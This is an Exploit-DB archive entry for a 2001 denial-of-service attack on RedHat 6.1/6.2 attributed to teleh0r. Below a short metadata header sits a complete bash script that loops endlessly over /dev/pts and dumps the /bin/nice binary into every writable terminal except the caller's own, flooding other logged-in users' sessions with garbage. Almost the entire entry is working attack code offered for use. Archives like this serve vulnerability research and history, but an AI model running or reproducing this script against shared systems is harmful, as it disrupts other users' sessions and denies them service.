RedHat 6.1/6.2 - TTY Flood Users

EDB-ID:

236

CVE:

N/A


Author:

teleh0r

Type:

dos


Platform:

Linux

Date:

2001-01-02


#!/bin/bash
#
# by teleh0r

TTYDIR=/dev/pts
NONSENSE=/bin/nice
MYTTY=`tty` # To prevent flooding of one's own TTY

while /bin/true ; do
    for i in $TTYDIR/* ; do
        if [ -w $i -a -c $i -a $i != $MYTTY ]; then
            cat $NONSENSE > $i
        fi
    done
done

unset i


# milw0rm.com [2001-01-02]